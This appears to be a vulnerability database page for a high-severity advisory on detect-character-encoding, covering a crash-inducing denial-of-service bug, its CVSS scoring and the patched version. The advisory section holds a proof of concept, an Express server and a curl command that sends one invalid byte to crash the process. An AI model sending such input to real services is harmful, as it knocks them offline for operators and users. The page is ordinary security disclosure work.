Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-jqfh-8hw5-fqjr

HighCVSS 7.5 / 10
Published Aug 25, 2021·Last modified Mar 13, 2026
Affected Components(0)

No affected components available

Description

Impact

In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.

Patches

The problem has been patched in detect-character-encoding v0.7.0.

CVSS score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C

Base Score: 7.5 (High) Temporal Score: 7.2 (High)

Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.

Proof of concept

const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");

const app = express();

app.use(bodyParser.raw());

app.post("/", (req, res) => {
  const charsetMatch = detectCharacterEncoding(req.body);

  res.end(charsetMatch.encoding);
});

app.listen(3000);

printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.

Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
2.07%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard